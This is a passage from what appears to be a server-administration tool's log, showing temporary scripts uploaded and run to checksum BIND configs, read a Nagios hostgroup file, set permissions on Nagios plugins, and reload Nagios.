} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:55:22:
runuser -l bind -s /bin/bash -c '/tmp/pkp807449; rm /tmp/pkp807449'
2025-12-31 19:55:22:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:56:46: Establishing a connection
2025-12-31 19:56:48: Establishing a connection
2025-12-31 19:56:48:
PUT: /tmp/pkp939431
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 19:56:48:
chmod 755 /tmp/pkp939431; /tmp/pkp939431; rm /tmp/pkp939431
2025-12-31 19:56:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-12-31 19:56:48:
systemctl reload nagios
2025-12-31 19:56:48:
2025-12-31 19:56:50:
PUT: /tmp/pkp178998
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-12-31 19:56:50:
chmod 755 /tmp/pkp178998; /tmp/pkp178998; rm /tmp/pkp178998
2025-12-31 19:56:50:
ok
2025-12-31 19:56:50:
PUT: /tmp/pkp453249
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:56:51:
chmod 755 /tmp/pkp453249; /tmp/pkp453249; rm /tmp/pkp453249
2025-12-31 19:56:51:
ok
2025-12-31 19:56:51:
PUT: /tmp/pkp796344
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok
2025-12-31 19:56:52:
chmod 755 /tmp/pkp796344; /tmp/pkp796344; rm /tmp/pkp796344
2025-12-31 19:56:52:
ok
2025-12-31 19:56:52:
PUT: /tmp/pkp114225
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:56:53:
chmod 755 /tmp/pkp114225; /tmp/pkp114225; rm /tmp/pkp114225
2025-12-31 19:56:53:
ok
2025-12-31 19:56:53:
PUT: /tmp/pkp979167
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_snmp.php'
echo ok
2025-12-31 19:56:54:
chmod 755 /tmp/pkp979167; /tmp/pkp979167; rm /tmp/pkp979167
2025-12-31 19:56:54:
ok
2025-12-31 19:56:54:
PUT: /tmp/pkp289589
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_printer.php'
echo ok
2025-12-31 19:56:55:
chmod 755 /tmp/pkp289589; /tmp/pkp289589; rm /tmp/pkp289589
2025-12-31 19:56:55:
ok
2025-12-31 19:56:56:
PUT: /tmp/pkp265200
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:56:56:
chmod 755 /tmp/pkp265200; /tmp/pkp265200; rm /tmp/pkp265200
2025-12-31 19:56:56:
ok
2025-12-31 19:56:57:
PUT: /tmp/pkp797563
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-12-31 19:56:57:
chmod 755 /tmp/pkp797563; /tmp/pkp797563; rm /tmp/pkp797563
2025-12-31 19:56:57:
ok
2025-12-31 19:56:58:
PUT: /tmp/pkp705145
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:56:58:
chmod 755 /tmp/pkp705145; /tmp/pkp705145; rm /tmp/pkp705145
2025-12-31 19:56:59:
ok
2025-12-31 19:56:59:
PUT: /tmp/pkp257568
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-12-31 19:56:59:
chmod 755 /tmp/pkp257568; /tmp/pkp257568; rm /tmp/pkp257568
2025-12-31 19:57:00:
ok
2025-12-31 19:57:00:
PUT: /tmp/pkp951745
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:57:01:
chmod 755 /tmp/pkp951745; /tmp/pkp951745; rm /tmp/pkp951745
2025-12-31 19:57:01:
ok
2025-12-31 19:57:01:
PUT: /tmp/pkp863370
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok
2025-12-31 19:57:02:
chmod 755 /tmp/pkp863370; /tmp/pkp863370; rm /tmp/pkp863370
2025-12-31 19:57:02:
ok
2025-12-31 19:57:02:
PUT: /tmp/pkp474765
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-12-31 19:57:03:
chmod 755 /tmp/pkp474765; /tmp/pkp474765; rm /tmp/pkp474765
2025-12-31 19:57:03:
ok
2025-12-31 19:57:45: Establishing a connection
2025-12-31 19:57:46: Establishing a connection
2025-12-31 19:57:47:
PUT: /tmp/pkp877415
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 19:57:47:
chmod 755 /tmp/pkp877415; /tmp/pkp877415; rm /tmp/pkp877415
2025-12-31 19:57:47:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-12-31 19:57:47:
systemctl reload nagios
2025-12-31 19:57:47:
2025-12-31 19:57:48:
PUT: /tmp/pkp376645
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-12-31 19:57:48:
chmod 755 /tmp/pkp376645; /tmp/pkp376645; rm /tmp/pkp376645
2025-12-31 19:57:48:
ok
2025-12-31 19:57:49:
PUT: /tmp/pkp221432
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:57:49:
chmod 755 /tmp/pkp221432; /tmp/pkp221432; rm /tmp/pkp221432
2025-12-31 19:57:49:
ok
2025-12-31 19:57:50:
PUT: /tmp/pkp870744
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok
2025-12-31 19:57:50:
chmod 755 /tmp/pkp870744; /tmp/pkp870744; rm /tmp/pkp870744
2025-12-31 19:57:50:
ok
2025-12-31 19:57:51:
PUT: /tmp/pkp539249
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:57:51:
chmod 755 /tmp/pkp539249; /tmp/pkp539249; rm /tmp/pkp539249
2025-12-31 19:57:51:
ok
2025-12-31 19:57:52:
PUT: /tmp/pkp820458
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_snmp.php'
echo ok
2025-12-31 19:57:52:
chmod 755 /tmp/pkp820458; /tmp/pkp820458; rm /tmp/pkp820458
2025-12-31 19:57:52:
ok
2025-12-31 19:57:53:
PUT: /tmp/pkp908298
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_printer.php'
echo ok
2025-12-31 19:57:53:
chmod 755 /tmp/pkp908298; /tmp/pkp908298; rm /tmp/pkp908298
2025-12-31 19:57:53:
ok
2025-12-31 19:57:54:
PUT: /tmp/pkp753166
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:57:54:
chmod 755 /tmp/pkp753166; /tmp/pkp753166; rm /tmp/pkp753166
2025-12-31 19:57:55:
ok
2025-12-31 19:57:55:
PUT: /tmp/pkp506102
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-12-31 19:57:55:
chmod 755 /tmp/pkp506102; /tmp/pkp506102; rm /tmp/pkp506102
2025-12-31 19:57:56:
ok
2025-12-31 19:57:56:
PUT: /tmp/pkp892572
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:57:57:
chmod 755 /tmp/pkp892572; /tmp/pkp892572; rm /tmp/pkp892572
2025-12-31 19:57:57:
ok
2025-12-31 19:57:57:
PUT: /tmp/pkp623023
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-12-31 19:57:58:
chmod 755 /tmp/pkp623023; /tmp/pkp623023; rm /tmp/pkp623023
2025-12-31 19:57:58:
ok
2025-12-31 19:57:59:
PUT: /tmp/pkp503596
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-31 19:57:59:
chmod 755 /tmp/pkp503596; /tmp/pkp503596; rm /tmp/pkp503596
2025-12-31 19:57:59:
ok
2025-12-31 19:58:00:
PUT: /tmp/pkp371914
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok
2025-12-31 19:58:00:
chmod 755 /tmp/pkp371914; /tmp/pkp371914; rm /tmp/pkp371914
2025-12-31 19:58:00:
ok
2025-12-31 19:58:01:
PUT: /tmp/pkp757598
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-12-31 19:58:01:
chmod 755 /tmp/pkp757598; /tmp/pkp757598; rm /tmp/pkp757598
2025-12-31 19:58:01:
ok
2026-01-01 06:00:03: Establishing a connection
2026-01-01 06:00:03: Establishing a connection
2026-01-01 06:00:03:
PUT: /tmp/pkp885992
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-01 06:00:04:
chmod 755 /tmp/pkp885992; /tmp/pkp885992; rm /tmp/pkp885992
